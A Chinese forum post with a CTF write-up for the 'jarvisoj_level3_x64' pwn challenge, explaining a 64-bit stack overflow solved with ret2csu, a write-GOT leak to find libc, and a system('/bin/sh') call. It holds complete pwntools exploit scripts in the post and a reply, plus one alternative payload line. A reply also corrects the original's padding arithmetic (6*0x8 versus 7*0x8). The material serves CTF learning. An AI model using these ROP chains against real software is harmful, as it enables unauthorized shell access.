[ret2csu]jarvisoj_level3_x64

查看 63|回复 3
作者:bnuzgn   
题目来源:buuoj
参考链接:
  • (主):
    [color=]https://niceseven.github.io/post/2020/04/14/buuctf-pwn-jarvisoj_level3_x64/

  • [color=]https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/

    题目信息
    64位,环境位ubuntu16,开了NX


    1.png (26.31 KB, 下载次数: 0)
    下载附件
    2023-7-29 21:07 上传

    vuln函数,可以使用栈溢出


    2.png (21.61 KB, 下载次数: 0)
    下载附件
    2023-7-29 21:07 上传

    题目中没有system和execve,也没有给出puts函数,所以需要使用write函数输出write_got,ret2libc
    write函数需要三个参数,分别传入rdi,rsi,rdx中,gadget中没有rdx_ret因此无法使用。


    3.png (61.37 KB, 下载次数: 0)
    下载附件
    2023-7-29 21:07 上传

    解题思路
  • 利用ret2csu构造rdi、rsi、rdx的值
  • 计算libc基地址
  • 栈溢出getshell

    前面说过64位的系统函数传参前3个参数要用到rdi、rsi、rdx,但是通过ROPgadget查找缺少了rdx。
    ret2csu主要是用到如下的两个gadget,通过pop和mov控制rdi、rsi、rdx寄存器,注意0x4006a1-0x4006a4这里有个比较rbx和rbp是否相同然后执行jne跳转的指令段,所以在执行gadget1要构造rbx=0,rbp=1,才不会进入哪个循环的跳转,通过gadget1中的pop r12和0x400699的call r12+rbx*8来控制我们想执行的函数,本题要执行 write来leak所以我们传入r12的值为write_got,这里传入plt好像执行不了具体原因还不清楚,为了满足call r12所以需要rbx=0,这样r12+rbx*8=r12=write_got => call write_got,参数1传入r15,参数2传入r14,参数3传入r13,这样在执行gadget2之后就会使参数1到3分别mov到rdi、rsi、rdx,也就是64位程序的前3个参数传参顺序。


    4.png (63.71 KB, 下载次数: 1)
    下载附件
    2023-7-29 21:07 上传

    在构造leak的payload时候需要0x38的数据填充,是因为我们先执行的gadget1,再执行gadget2,但是从gadget1跳转到gadget2后又会执行一遍gadget1,此时gadget1中的这些寄存器是不需要的,所以从0x4006a6到0x4006b2之间栈顶移动的7个机器字长,即6*0x8=0x38,,所以需要填充0x38覆盖这里的栈空间,然后覆盖到0x4006b4的ret来使函数返回到vulnerable_function(),从而再执行一遍read来进行栈溢出getshell。


    5.png (11.43 KB, 下载次数: 0)
    下载附件
    2023-7-29 21:07 上传

    IDA中也可以看栈指针来计算空间大小0x38-0x0=0x38
    WP
    [Python] 纯文本查看 复制代码# -*- coding: utf-8 -*-
    from pwn import*
    context.log_level='debug'
    context.arch='amd64'
    context.os = "linux"
    pc = "./level3_x64"
    if __name__ == '__main__':
        local = sys.argv[1]
        if local == '1':
            r= process(pc)
            elf = ELF(pc)
            libc = elf.libc
        else:
            r=remote("node4.buuoj.cn",27598)
            elf = ELF(pc)
            libc = elf.libc
    sa = lambda s,n : r.sendafter(s,n)
    sla = lambda s,n : r.sendlineafter(s,n)
    sl = lambda s : r.sendline(s)
    sd = lambda s : r.send(s)
    rc = lambda n : r.recv(n)
    ru = lambda s : r.recvuntil(s)
    ti = lambda: r.interactive()
    lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
    def db():
        gdb.attach(r)
        pause()
    def dbs(src):
        gdb.attach(r, src)
    csu_end_ret = 0x00000000004006AA
    csu_front_call = 0x0000000000400690
    write_got_addr = elf.got['write']
    write_plt_addr = elf.plt['write']
    main_addr = elf.symbols['vulnerable_function']
    rdi_ret_addr = 0x00000000004006b3
    csu_payload = p64(0) + p64(1) + p64(write_got_addr) + p64(8) +  p64(write_got_addr) + p64(1)
    payload = b'a'* (0x80+8) + p64(csu_end_ret) + csu_payload + p64(csu_front_call) + b'a'*0x38 + p64(main_addr)
    sla('Input:\n',payload)
    write_addr = u64(r.recv(6).ljust(8,b'\x00'))
    lg('write_addr')
    libc_base = write_addr - libc.sym['write']
    binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
    system_addr = libc_base + libc.sym["system"]
    payload = b'a'* (0x80+8) + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
    sla('Input:\n',payload)
    ti()

    下载次数, 函数

  • RavenBlaze   

    [Python] 纯文本查看 复制代码from pwn import *
    from LibcSearcher import LibcSearcher
    p = remote("node5.buuoj.cn", 12345)
    elf = ELF("./level3_x64")
    context(arch='i386', os='linux', log_level='debug')
    vulnerable_function = 0x4005E6
    write_got = elf.got['write']
    csu_pop = 0x00000000004006AA
    csu = 0x0000000000400690
    pop_rdi = 0x00000000004006b3
    p.recvuntil(b"Input:\n")
    # write(fd, buf, n);
    payload = 0x88 * b"a" + p64(csu_pop) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(
        csu) + 7 * p64(0) + p64(vulnerable_function)
    p.sendline(payload)
    write_addr = u64(p.recv(6).ljust(8, b'\x00'))
    libc = LibcSearcher("write", write_addr)
    offset = write_addr - libc.dump("write")
    bin_sh_addr = offset + libc.dump("str_bin_sh")
    system_addr = offset + libc.dump('system')
    payload = 0x88 * b"a" + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
    p.sendlineafter(b"Input:\n", payload)
    p.interactive()
    RavenBlaze   

    楼主数据填充那里应该是:7*0x8=0x38
    RavenBlaze   

    还有一种很神奇的payload
    payload1 = payload + p64(rdi_add) + p64(0x1) + p64(rsir15_add) + p64(write_got) + 'deadbeef' + p64(write_plt) + p64(vul_add)
    您需要登录后才可以回帖 登录 | 立即注册

    返回顶部